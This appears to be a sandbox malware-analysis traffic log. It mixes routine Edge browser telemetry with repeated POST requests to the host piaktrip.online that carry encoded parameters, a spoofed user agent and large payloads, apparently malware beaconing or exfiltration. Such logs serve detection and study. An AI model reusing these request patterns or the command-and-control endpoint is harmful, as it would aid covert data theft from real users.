Source: global trafficHTTP traffic detected: GET /c.gif?rnd=1740955690652&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=a19a8d317b4248c4b16e2584084396ac&activityId=a19a8d317b4248c4b16e2584084396ac&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0 HTTP/1.1Host: c.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; USRLOC=; MUID=298FBC8F51F06FBE167AA92C50F76ED8; _EDGE_S=F=1&SID=21B0684A799B606837FF7DE978076172; _EDGE_V=1
Source: global trafficHTTP traffic detected: GET /b?rn=1740955690653&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=298FBC8F51F06FBE167AA92C50F76ED8&cs_fpit=o&cs_fpdm=*null&cs_fpdt=*null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global trafficHTTP traffic detected: POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1740955690650&time-delta-to-apply-millis=use-collector-delta&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1Host: browser.events.data.msn.comConnection: keep-aliveContent-Length: 3856sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Content-Type: text/plain;charset=UTF-8Accept: */*Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; USRLOC=; MUID=298FBC8F51F06FBE167AA92C50F76ED8; _EDGE_S=F=1&SID=21B0684A799B606837FF7DE978076172; _EDGE_V=1
Source: global trafficHTTP traffic detected: GET /b2?rn=1740955690653&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=298FBC8F51F06FBE167AA92C50F76ED8&cs_fpit=o&cs_fpdm=*null&cs_fpdt=*null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: UID=13A0de3d3c681f620c39cb71740955691; XID=13A0de3d3c681f620c39cb71740955691
Source: global trafficHTTP traffic detected: GET /c.gif?rnd=1740955690652&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=a19a8d317b4248c4b16e2584084396ac&activityId=a19a8d317b4248c4b16e2584084396ac&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=611DD03D5F3C49C1893DDDD82FCD126C&MUID=298FBC8F51F06FBE167AA92C50F76ED8 HTTP/1.1Host: c.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=298FBC8F51F06FBE167AA92C50F76ED8; _EDGE_S=F=1&SID=21B0684A799B606837FF7DE978076172; _EDGE_V=1; SM=T
Source: global trafficHTTP traffic detected: GET /edge/ntp?locale=en-GB&title=New+tab&enableForceCache=true HTTP/1.1Host: ntp.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-viewport-height: 876sec-ch-ua-arch: "x86"sec-ch-viewport-width: 1232sec-ch-ua-platform-version: "10.0.0"downlink: 5.15sec-ch-ua-bitness: "64"sec-ch-ua-full-version-list: "Microsoft Edge";v="117.0.2045.47", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132"sec-ch-ua-model: ""sec-ch-prefers-color-scheme: lightsec-ch-ua-platform: "Windows"device-memory: 8rtt: 200sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-full-version: "117.0.2045.47"sec-ch-dpr: 1ect: 4gAccept: */*sec-edge-ntp: {"back_block":0,"bg_cur":{},"bg_img_typ":"bing","exp":["msQuickLinksDefaultOneRow","msShoppingWebAssistOnNtp","msShoppingHistogramsOnNtp","msEnableWinHPNewTabBackButtonFocusAndClose","msCustomMaxQuickLinks","msMaxQuickLinksAt20","msAllowThemeInstallationFromChromeStore","msEdgeSplitWindowLinkMode"],"feed":0,"feed_dis":"onscroll","layout":1,"quick_links_opt":1,"sel_feed_piv":"","show_greet":true,"vt_opened":false}Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/edge/ntp?locale=en-GB&title=New%20tab&dsp=1&sp=Bing&isFREModalBackground=1&startpage=1&PC=U531Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_Auth=; pglt-edgeChromium-dhp=547; sptmarket=en-GB||us|en-us|en-us|en||cf=8|RefA=A19A8D317B4248C4B16E2584084396AC.RefC=2025-03-02T22:48:05Z; USRLOC=; MUID=298FBC8F51F06FBE167AA92C50F76ED8; MUIDB=298FBC8F51F06FBE167AA92C50F76ED8; _EDGE_S=F=1&SID=21B0684A799B606837FF7DE978076172; _EDGE_V=1; MicrosoftApplicationsTelemetryDeviceId=71fba686-5272-46c5-b7ec-6bcacf7f2430; ai_session=QKM5mGJj1JVi+oVE8P956y|1740955690646|1740955690646; sptmarket_restored=en-GB||us|en-us|en-us|en||cf=8|RefA=A19A8D317B4248C4B16E2584084396AC.RefC=2025-03-02T22:48:05Z
Source: global trafficHTTP traffic detected: GET /edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true&enableWidgetsRegion=true HTTP/1.1Host: ntp.msn.comConnection: keep-aliveCache-Control: max-age=0Accept: */*Service-Worker: scriptUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-edge-ntp: {"back_block":0,"bg_cur":{"configIndex":42,"imageId":"BB1msMIu","provider":"CMSImage","userSelected":false},"bg_img_typ":"bing","exp":["msQuickLinksDefaultOneRow","msShoppingWebAssistOnNtp","msShoppingHistogramsOnNtp","msEnableWinHPNewTabBackButtonFocusAndClose","msCustomMaxQuickLinks","msMaxQuickLinksAt20","msAllowThemeInstallationFromChromeStore","msEdgeSplitWindowLinkMode"],"feed":0,"feed_dis":"onscroll","layout":1,"quick_links_opt":1,"sel_feed_piv":"myFeed","show_greet":true,"vt_opened":false,"wpo_nx":{"v":"2","wgt":{"src":"default"}}}Sec-Fetch-Site: same-originSec-Fetch-Mode: same-originSec-Fetch-Dest: serviceworkerReferer: https://ntp.msn.com/edge/ntp?locale=en-GB&title=New%20tab&dsp=1&sp=Bing&isFREModalBackground=1&startpage=1&PC=U531Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_Auth=; pglt-edgeChromium-dhp=547; sptmarket=en-GB||us|en-us|en-us|en||cf=8|RefA=A19A8D317B4248C4B16E2584084396AC.RefC=2025-03-02T22:48:05Z; USRLOC=; MUID=298FBC8F51F06FBE167AA92C50F76ED8; MUIDB=298FBC8F51F06FBE167AA92C50F76ED8; _EDGE_S=F=1&SID=21B0684A799B606837FF7DE978076172; _EDGE_V=1; MicrosoftApplicationsTelemetryDeviceId=71fba686-5272-46c5-b7ec-6bcacf7f2430; ai_session=QKM5mGJj1JVi+oVE8P956y|1740955690646|1740955690646; sptmarket_restored=en-GB||us|en-us|en-us|en||cf=8|RefA=A19A8D317B4248C4B16E2584084396AC.RefC=2025-03-02T22:48:05Z
Source: global trafficHTTP traffic detected: POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1740955692662&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1Host: browser.events.data.msn.comConnection: keep-aliveContent-Length: 10918sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Content-Type: text/plain;charset=UTF-8Accept: */*Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=298FBC8F51F06FBE167AA92C50F76ED8; _EDGE_S=F=1&SID=21B0684A799B606837FF7DE978076172; _EDGE_V=1
Source: global trafficHTTP traffic detected: POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1740955692687&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1Host: browser.events.data.msn.comConnection: keep-aliveContent-Length: 4717sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Content-Type: text/plain;charset=UTF-8Accept: */*Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=298FBC8F51F06FBE167AA92C50F76ED8; _EDGE_S=F=1&SID=21B0684A799B606837FF7DE978076172; _EDGE_V=1
Source: global trafficHTTP traffic detected: POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1740955693518&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1Host: browser.events.data.msn.comConnection: keep-aliveContent-Length: 5369sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Content-Type: text/plain;charset=UTF-8Accept: */*Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=298FBC8F51F06FBE167AA92C50F76ED8; _EDGE_S=F=1&SID=21B0684A799B606837FF7DE978076172; _EDGE_V=1; msnup=%7B%22cnex%22%3A%22no%22%7D
Source: global trafficHTTP traffic detected: POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1740955693686&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1Host: browser.events.data.msn.comConnection: keep-aliveContent-Length: 9574sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Content-Type: text/plain;charset=UTF-8Accept: */*Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=298FBC8F51F06FBE167AA92C50F76ED8; _EDGE_S=F=1&SID=21B0684A799B606837FF7DE978076172; _EDGE_V=1; msnup=%7B%22cnex%22%3A%22no%22%7D
Source: global trafficHTTP traffic detected: POST /aofchic.htm?zbvekz9gzr=e2anLGjWQlfNlWSpiKPUZflc5Y%2FfWFlFyz44R65XekKGLN7kGulQPXGH1mDhQ8vuituTWRuVRHCr5PFngH8fYg%3D%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4.1 Safari/605.1.15Content-Length: 147Host: piaktrip.online
Source: global trafficHTTP traffic detected: POST /aofchic.htm?zbvekz9gzr=e2anLGjWQlfNlWSpiKPUZflc5Y%2FfWFlFyz44R65XekKGLN7kGulQPXGH1mDhQ8vuituTWRuVRHCr5PFngH8fYg%3D%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4.1 Safari/605.1.15gm: 4KFyof7oXSFerDiF98lvPCR/ei/9AS8jAnhcE77WjNSN0kI2btZhG4W4odqpDEqNeDweM8o9wH1p9XUPbsebOACgA18gWI1A2uHm44Goqj6PswContent-Length: 53Host: piaktrip.online
Source: global trafficHTTP traffic detected: POST /aofchic.htm?zbvekz9gzr=e2anLGjWQlfNlWSpiKPUZflc5Y%2FfWFlFyz44R65XekKGLN7kGulQPXGH1mDhQ8vuituTWRuVRHCr5PFngH8fYg%3D%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4.1 Safari/605.1.15gm: 4KFyof7oXSFerDiF98lvPCR/ei/9AS8jAnhcE77WjNSN0kI2btZhG4W4odqpDEqNeDweM8o9wH1p9XUPbsebOACgA18gWI1A2uHm44Goqj6PswContent-Length: 114927Host: piaktrip.online
Source: global trafficHTTP traffic detected: POST /aofchic.htm?zbvekz9gzr=e2anLGjWQlfNlWSpiKPUZflc5Y%2FfWFlFyz44R65XekKGLN7kGulQPXGH1mDhQ8vuituTWRuVRHCr5PFngH8fYg%3D%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4.1 Safari/605.1.15gm: 4KFyof7oXSFerDiF98lvPCR/ei/9AS8jAnhcE77WjNSN0kI2btZhG4W4odqpDEqNeDweM8o9wH1p9XUPbsebOACgA18gWI1A2uHm44Goqj6PswContent-Length: 745Host: piaktrip.online
Source: global trafficHTTP traffic detected: POST /aofchic.htm?zbvekz9gzr=e2anLGjWQlfNlWSpiKPUZflc5Y%2FfWFlFyz44R65XekKGLN7kGulQPXGH1mDhQ8vuituTWRuVRHCr5PFngH8fYg%3D%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4.1 Safari/605.1.15gm: 4KFyof7oXSFerDiF98lvPCR/ei/9AS8jAnhcE77WjNSN0kI2btZhG4W4odqpDEqNeDweM8o9wH1p9XUPbsebOACgA18gWI1A2uHm44Goqj6PswContent-Length: 212Host: piaktrip.online
Source: global trafficHTTP traffic detected: POST /aofchic.htm?zbvekz9gzr=e2anLGjWQlfNlWSpiKPUZflc5Y%2FfWFlFyz44R65XekKGLN7kGulQPXGH1mDhQ8vuituTWRuVRHCr5PFngH8fYg%3D%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4.1 Safari/605.1.15gm: 4KFyof7oXSFerDiF98lvPCR/ei/9AS8jAnhcE77WjNSN0kI2btZhG4W4odqpDEqNeDweM8o9wH1p9XUPbsebOACgA18gWI1A2uHm44Goqj6PswContent-Length: 380Host: piaktrip.online
Source: global trafficHTTP traffic detected: POST /aofchic.htm?zbvekz9gzr=e2anLGjWQlfNlWSpiKPUZflc5Y%2FfWFlFyz44R65XekKGLN7kGulQPXGH1mDhQ8vuituTWRuVRHCr5PFngH8fYg%3D%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4.1 Safari/605.1.15gm: 4KFyof7oXSFerDiF98lvPCR/ei/9AS8jAnhcE77WjNSN0kI2btZhG4W4odqpDEqNeDweM8o9wH1p9XUPbsebOACgA18gWI1A2uHm44Goqj6PswContent-Length: 14825Host: piaktrip.online
Source: global trafficHTTP traffic detected: POST /aofchic.htm?zbvekz9gzr=e2anLGjWQlfNlWSpiKPUZflc5Y%2FfWFlFyz44R65XekKGLN7kGulQPXGH1mDhQ8vuituTWRuVRHCr5PFngH8fYg%3D%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4.1 Safari/605.1.15gm: 4KFyof7oXSFerDiF98lvPCR/ei/9AS8jAnhcE77WjNSN0kI2btZhG4W4odqpDEqNeDweM8o9wH1p9XUPbsebOACgA18gWI1A2uHm44Goqj6PswContent-Length: 73981Host: piaktrip.online
Source: global trafficHTTP traffic detected: POST /aofchic.htm?zbvekz9gzr=e2anLGjWQlfNlWSpiKPUZflc5Y%2FfWFlFyz44R65XekKGLN7kGulQPXGH1mDhQ8vuituTWRuVRHCr5PFngH8fYg%3D%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4.1 Safari/605.1.15gm: 4KFyof7oXSFerDiF98lvPCR/ei/9AS8jAnhcE77WjNSN0kI2btZhG4W4odqpDEqNeDweM8o9wH1p9XUPbsebOACgA18gWI1A2uHm44Goqj6PswContent-Length: 35Host: piaktrip.online
Source: global trafficHTTP traffic detected: POST /aofchic.htm?zbvekz9gzr=e2anLGjWQlfNlWSpiKPUZflc5Y%2FfWFlFyz44R65XekKGLN7kGulQPXGH1mDhQ8vuituTWRuVRHCr5PFngH8fYg%3D%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4.1 Safari/605.1.15gm: 4KFyof7oXSFerDiF98lvPCR/ei/9AS8jAnhcE77WjNSN0kI2btZhG4W4odqpDEqNeDweM8o9wH1p9XUPbsebOACgA18gWI1A2uHm44Goqj6PswContent-Length: 131502Host: piaktrip.online
Source: global trafficHTTP traffic detected: POST /aofchic.htm?zbvekz9gzr=e2anLGjWQlfNlWSpiKPUZflc5Y%2FfWFlFyz44R65XekKGLN7kGulQPXGH1mDhQ8vuituTWRuVRHCr5PFngH8fYg%3D%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4.1 Safari/605.1.15gm: 4KFyof7oXSFerDiF98lvPCR/ei/9AS8jAnhcE77WjNSN0kI2btZhG4W4odqpDEqNeDweM8o9wH1p9XUPbsebOACgA18gWI1A2uHm44Goqj6PswContent-Length: 745Host: piaktrip.online
Source: global trafficHTTP traffic detected: POST /aofchic.htm?zbvekz9gzr=e2anLGjWQlfNlWSpiKPUZflc5Y%2FfWFlFyz44R65XekKGLN7kGulQPXGH1mDhQ8vuituTWRuVRHCr5PFngH8fYg%3D%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4.1 Safari/605.1.15gm: 4KFyof7oXSFerDiF98lvPCR/ei/9AS8jAnhcE77WjNSN0kI2btZhG4W4odqpDEqNeDweM8o9wH1p9XUPbsebOACgA18gWI1A2uHm44Goqj6PswContent-Length: 212Host: piaktrip.online
Source: global trafficHTTP traffic detected: POST /aofchic.htm?zbvekz9gzr=e2anLGjWQlfNlWSpiKPUZflc5Y%2FfWFlFyz44R65XekKGLN7kGulQPXGH1mDhQ8vuituTWRuVRHCr5PFngH8fYg%3D%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4.1 Safari/605.1.15gm: 4KFyof7oXSFerDiF98lvPCR/ei/9AS8jAnhcE77WjNSN0kI2btZhG4W4odqpDEqNeDweM8o9wH1p9XUPbsebOACgA18gWI1A2uHm44Goqj6PswContent-Length: 380Host: piaktrip.online
Source: global trafficHTTP traffic detected: POST /aofchic.htm?zbvekz9gzr=e2anLGjWQlfNlWSpiKPUZflc5Y%2FfWFlFyz44R65XekKGLN7kGulQPXGH1mDhQ8vuituTWRuVRHCr5PFngH8fYg%3D%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4.1 Safari/605.1.15gm: 4KFyof7oXSFerDiF98lvPCR/ei/9AS8jAnhcE77WjNSN0kI2btZhG4W4odqpDEqNeDweM8o9wH1p9XUPbsebOACgA18gWI1A2uHm44Goqj6PswContent-Length: 14825Host: piaktrip.online
Source: global trafficHTTP traffic detected: POST /aofchic.htm?zbvekz9gzr=e2anLGjWQlfNlWSpiKPUZflc5Y%2FfWFlFyz44R65XekKGLN7kGulQPXGH1mDhQ8vuituTWRuVRHCr5PFngH8fYg%3D%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4.1 Safari/605.1.15gm: 4KFyof7oXSFerDiF98lvPCR/ei/9AS8jAnhcE77WjNSN0kI2btZhG4W4odqpDEqNeDweM8o9wH1p9XUPbsebOACgA18gWI1A2uHm44Goqj6PswContent-Length: 73921Host: piaktrip.online
Source: global trafficHTTP traffic detected: POST /aofchic.htm?zbvekz9gzr=e2anLGjWQlfNlWSpiKPUZflc5Y%2FfWFlFyz44R65XekKGLN7kGulQPXGH1mDhQ8vuituTWRuVRHCr5PFngH8fYg%3D%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4.1 Safari/605.1.15gm: 4KFyof7oXSFerDiF98lvPCR/ei/9AS8jAnhcE77WjNSN0kI2btZhG4W4odqpDEqNeDweM8o9wH1p9XUPbsebOACgA18gWI1A2uHm44Goqj6PswContent-Length: 35Host: piaktrip.online
Source: global trafficHTTP traffic detected: OPTIONS /api/report?cat=bingbusiness HTTP/1.1Host: bzib.nelreports.netConnection: keep-aliveOrigin: https://business.bing.comAccess-Control-Request-Method: POSTAccess-Control-Request-Headers: content-typeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global trafficHTTP traffic detected: POST /api/report?cat=bingbusiness HTTP/1.1Host: bzib.nelreports.netConnection: keep-aliveContent-Length: 466Content-Type: application/reports+jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: unknownTCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknownTCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknownTCP traffic detected without corresponding DNS query: 23.40.18.31
Source: unknownTCP traffic detected without corresponding DNS query: 23.40.18.31
Source: unknownTCP traffic detected without corresponding DNS query: 23.40.18.31
Source: unknownTCP traffic detected without corresponding DNS query: 23.40.18.31
Source: unknownTCP traffic detected without corresponding DNS query: 23.40.18.31
Source: unknownTCP traffic detected without corresponding DNS query: 23.40.18.31
Source: unknownTCP traffic detected without corresponding DNS query: 23.40.18.31
Source: unknownTCP traffic detected without corresponding DNS query: 23.40.18.31
Source: unknownTCP traffic detected without corresponding DNS query: 23.40.18.31
Source: unknownTCP traffic detected without corresponding DNS query: 23.40.18.31
